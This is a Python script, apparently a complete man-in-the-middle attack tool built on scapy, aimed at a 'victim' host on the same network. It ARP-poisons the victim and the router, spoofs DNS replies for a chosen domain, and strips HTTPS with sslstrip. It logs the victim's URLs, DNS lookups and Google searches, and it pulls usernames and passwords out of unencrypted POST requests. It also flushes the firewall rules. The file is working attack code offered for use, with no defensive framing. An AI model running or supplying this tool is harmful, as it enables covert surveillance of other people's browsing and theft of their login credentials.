#!/usr/bin/python import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * conf.verb=0 #Below is necessary to receive a response to the DHCP packets for some reason. If you know the answer to that message me. conf.checkIPaddr=1 import time import sys import threading import argparse import sys import os import signal import urlparse import commands bash=commands.getoutput #Check if root if not os.geteuid()==0: sys.exit("\nPlease run as root\n") #Create the arguments parser = argparse.ArgumentParser() parser.add_argument("-u", "--urlspy", help="Show all URLs the victim is browsing minus URLs that end in .jpg, .png, .gif, .css, and .js to make the output much friendlier. Use -uv to print all URLs.", action="store_true") parser.add_argument("-d", "--dnsspy", help="Show all DNS resquests the victim makes. This has the advantage of showing HTTPS domains which the -u option will not but does not show the full URL the victim is requesting.", action="store_true") parser.add_argument("-ip", "--ipaddress", help="Enter IP address of victim and skip the arp ping at the beginning.") parser.add_argument("-i", "--driftnet", help="Open an xterm window with driftnet.", action="store_true") parser.add_argument("-g", "--google", help="Print Google searches, and show nonHTTPS links they click on from the search results.", action="store_true") parser.add_argument("-s", "--sslstrip", help="Open an xterm window with sslstrip and output to sslstrip.txt", action="store_true") parser.add_argument("-uv", "--verboseURL", help="Shows all URLs the victim visits.", action="store_true") parser.add_argument("-dns", "--dnsspoof", help="Spoof DNS responses of a specific domain. Enter domain after this argument") parser.add_argument("-p", "--post", help="Print the URL the victim POSTs to, show usernames and passwords in unsecure HTTP POSTs", action="store_true") args = parser.parse_args() class colors: PURPLE = '\033[95m' BLUE = '\033[94m' OKGREEN = '\033[92m' TAN = '\033[93m' RED = '\033[91m' ENDC = '\033[0m' def disable(self): self.HEADER = '' self.OKBLUE = '' self.OKGREEN = '' self.TAN = '' self.RED = '' self.ENDC = '' #Find the gateway and use it as the router's info routerCmd = bash('ip route') routerRE = re.search('default via ((\d{2,3}\.\d{1,3}\.\d{1,4}\.)\d{1,3}) \w+ (\w[a-zA-Z0-9]\w[a-zA-Z0-9][0-9]?)', routerCmd) routerIP = routerRE.group(1) IPprefix = routerRE.group(2) interface = routerRE.group(3) localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0] print "Checking the DNS server..." dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))/DHCP(options=[("message-type","discover"),"end"]) ans, unans = srp(dhcp_discover, timeout=7, retry=2) if ans: for p in ans: DNSserver = p[1][IP].src print "DNS server at:", DNSserver, '\n' else: print "No answer to DHCP packet sent to find the DNS server. Setting DNS server to router IP.\n" DNSserver = routerIP if args.ipaddress: victimIP = args.ipaddress else: ans,unans = arping(IPprefix+'*') for s,r in ans: ips = r.sprintf("%ARP.hwsrc% %ARP.psrc%") print ips victimIP = raw_input('\nType victim\'s IP: ') def originalMAC(ip): # srp is for layer 2 packets with Ether layer, sr is for layer 3 packets like ARP and IP ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3) for s,r in ans: return r.sprintf("%Ether.src%") def poison(routerIP, victimIP): send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff")) send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff")) def restore(routerIP, victimIP, routerMAC, victimMAC): send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3) send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3) def URL(pkt): # Counter is to make sure we're not printing packet data twice if both username and password is found counter = 0 # We add pkt[Ether].src check to make sure we're not messing with retransmitted packets if pkt.haslayer(Raw) and pkt[Ether].src == victimMAC: pkt = repr(pkt[Raw].load) try: headers, body = pkt.split(r"\r\n\r\n") except: headers = pkt body = '' post = re.search('POST /', headers) get = re.search('GET /', headers) host = re.search('Host: ', headers) #The big unsolvable problem is that sometimes sniff() will get a packet (usually from the arp spoofed victim) #and split it into 2 packets when wireshark sees only one. Consistently from neopets via arpspoof victim. The load #gets truncated and sniff() then treats the other few lines of the HTTP load as a new packet for some reason. #http://bpaste.net/show/v2CsP4Ixzb7NGGuutDSp/ if args.post and len(headers) < 450 and not get: username = re.finditer('(([Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', headers) password = re.finditer('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', headers) for x in username: if x: print colors.TAN,'[+] Packet was split by accident. Username Data:',headers, colors.ENDC print colors.RED,x.group(),colors.ENDC counter = 1 for y in password: if y: if counter == 0: print colors.TAN, '[+] Packet was split by accident. Password data:', headers, colors.ENDC print colors.RED, y.group(), colors.ENDC counter = 0 if (post or get) and host: a = headers.split(r"\r\n") try: b = a[0].split(" ") c = a[1].split(" ") url = c[1]+b[1] except: print "Could not form url" return if args.post and post: if body != '': print colors.TAN+'[+] POST:',url,'HTTP POST load:',body+colors.ENDC password = re.finditer('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', body) username = re.finditer('(([Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', body) if username: for x in username: print colors.RED,x.group(),colors.ENDC if password: for y in password: print colors.RED,y.group(),colors.ENDC if args.urlspy: d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js'] if any(i in url for i in d): return print url if args.verboseURL: print url if args.google: if 'google.com' in url: r = re.findall(r'(?i)\&q=(.*?)\&', url) if r: search = r[0].split('&')[0] search = search.replace('q=', '').replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=') print colors.BLUE + '[+] Googled:',search + colors.ENDC try: g,s = url.split('http%3A%2F%2F') s = s.replace('%2F', '/').replace('%3F', '?').replace('%3D', '=') s = s[:s.find('&')] print colors.BLUE + '[+] Clicked this link from a Google search:',s + colors.ENDC except: pass # bodyParsed = urlparse.parse_qs(body) # print bodyParsed # try: # value = next(v for (k,v) in bodyParsed.iteritems() if passwd or username in k) # print value # except: # print 'this post does not have username or password data' # for k,v in bodyParsed.iteritems(): # if passwd or username in k: # print bodyParsed[k] # if args.post and post: # print '%s POSTed to:' % victimIP, url # print request # username = re.search('([Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin)=[^&]*', request) # if username: # print username.group() # else: # print "Could not find username" def DNSreq(pkt): if pkt.haslayer(DNSQR): dnsreq = pkt[DNSQR].qname print dnsreq def mkspoof(DNSpkt): ip=DNSpkt[IP] dnsLayer=DNSpkt[DNS] # qr = query or response (0,1), aa=are the nameservers authoritative? (0,1), ad=authenticated data (0,1) p = IP(dst=ip.src, src=ip.dst)/UDP(dport=ip.sport, sport=ip.dport)/DNS(id=dnsLayer.id, qr=1, aa=1, qd=dnsLayer.qd, an=DNSRR(rrname=dnsLayer.qd.qname, ttl=10, rdata=localIP)) return p class urlspy(threading.Thread): def run(self): # This is in case you need to test the program without an actual victim # sniff(store=0, filter='port 80', prn=URL, iface=interface) sniff(store=0, filter='port 80 and host %s' % victimIP, prn=URL, iface=interface) class dnsspy(threading.Thread): def run(self): sniff(store=0, filter='port 53 and host %s' % victimIP, prn=DNSreq, iface=interface) class dnsspoof(threading.Thread): def run(self): while 1: a=sniff(filter='port 53 or port 80 and host %s' % victimIP, count=1, promisc=1) DNSpkt = a[0] if not DNSpkt.haslayer(DNSQR): continue if args.dnsspoof in DNSpkt.qd.qname: send(mkspoof(DNSpkt)) print colors.OKGREEN + '[+] Spoofed:', DNSpkt.qd.qname + colors.ENDC #class ssltrip(threading.Thread): # def run(self): def sslstrip(): print 'Redirecting traffic to port 10000 and starting sslstrip\n' ip10000 = bash('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000') sslstrip = bash('xterm -e sslstrip -f -w sslstrip.txt') print "Active interface = " + interface print "Router IP = " + routerIP print "Client IP = " + victimIP try: routerMAC = originalMAC(routerIP) print "Router MAC: " + routerMAC victimMAC = originalMAC(victimIP) print "Victim MAC: " + victimMAC + "\n" except: sys.exit("Could not get MAC addresses") def main(): #Forward packets and flush iptables ipforward = bash('echo 1 > /proc/sys/net/ipv4/ip_forward') ipF = bash('iptables -F') ipNATF = bash('iptables -t nat F') ipX = bash('iptables -X') ipNATX = bash('iptables -t nat -X') print 'Enabled IP forwarding and flushed the firewall\n' if args.urlspy or args.google or args.verboseURL or args.post: ug = urlspy() #Make sure the thread closes with the main program on Ctrl-C ug.daemon = True ug.start() if args.dnsspy: dt = dnsspy() dt.daemon = True dt.start() if args.driftnet: driftnet = bash('xterm -e driftnet -i %s' % interface) if args.sslstrip: sslstrip() if args.dnsspoof: ds = dnsspoof() ds.daemon = True ds.start() def signal_handler(signal, frame): print 'learing iptables, sending healing packets, and turning off IP forwarding...' restore(routerIP, victimIP, routerMAC, victimMAC) restore(routerIP, victimIP, routerMAC, victimMAC) ipforwardoff = bash('echo 0 > /proc/sys/net/ipv4/ip_forward') flush1 = bash('iptables -t nat -F') flush2 = bash('iptables -F') flush3 = bash('iptables -X') sys.exit(0) signal.signal(signal.SIGINT, signal_handler) while 1: poison(routerIP, victimIP) if not DNSserver == routerIP: poison(DNSserver, victimIP) time.sleep(1.5) if __name__ == "__main__": main()